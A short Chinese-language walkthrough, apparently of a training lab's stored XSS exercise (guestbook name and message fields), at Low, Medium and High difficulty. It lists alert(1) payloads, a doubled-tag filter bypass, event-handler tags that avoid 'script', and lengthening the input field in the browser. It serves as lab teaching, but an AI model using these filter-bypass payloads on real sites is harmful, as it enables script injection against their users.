Low
1、进来这里可以看到,好像是有两个入口,先随便填个数据试试水,勒特
payload: <script>alert(1)</script>
2、直接提交,简单拿下。
Medium
1、继续尝试刚才的入口,勒特。
payload: <script>alert(1)</script>
结合前端和源码,可以看到<script>全部被吃了!
2、老规矩,喊个方法喂(双写)
payload: <sc<script>ript>alert(1)</sc<script>ript>
从结果中可以看到,同样这个<script>是被吃的死死的,作者很喜欢吃<script>,所以high就不尝试<script>了。
3、闭合——这是一个思路,这里的话就不用去尝试了,没办法闭合
4、查看源码可以发现有两个函数
这时请度娘
1.strip_tags()
strip_tags()函数剥去 HTML、XML 以及 PHP 的标签。
2.addslashes()
函数是PHP中的内置函数,它返回预定义字符前带有反斜杠的字符串。该参数中不包含任何指定的字符。 预定义的字符是: 单引号(’) 双引号(“) 反斜杠(\) NULL
结论:可以看到 massage被守得很死。但是name只是做了一个替换。所以换地方!
5、name入口他的长度被限制,但是不慌!~
F12修改默认长度,这里我50,你随意!
6、上才艺:
<button Onclick="alert(1)">拿下</button>
<svg src=1 Onerror=alert(1'>
<a href='javascript:alert(1)'>老六</a>
Hight
1、先查看一下源码,
- 从代码中可以看出script 、<都被过滤,如果实在看不懂可以这样来
- 注意这里得注入点也是name,先修改文本得长度
- 提交payload: > 1 " 2 ' 3 # 4 / 5 < 6 <!--
- 从这里可以得出可以使用得符号,注意这里提交之后要记得点击Clear Guestbook,按钮不然后面得内容都会被注释!
2、从代码中就能够看出,我们还可以使用不包含 script 的其他标签
-
<button Onclick="alert(1)">拿下</button>
-
<svg src="1" Onclick="alert(1)">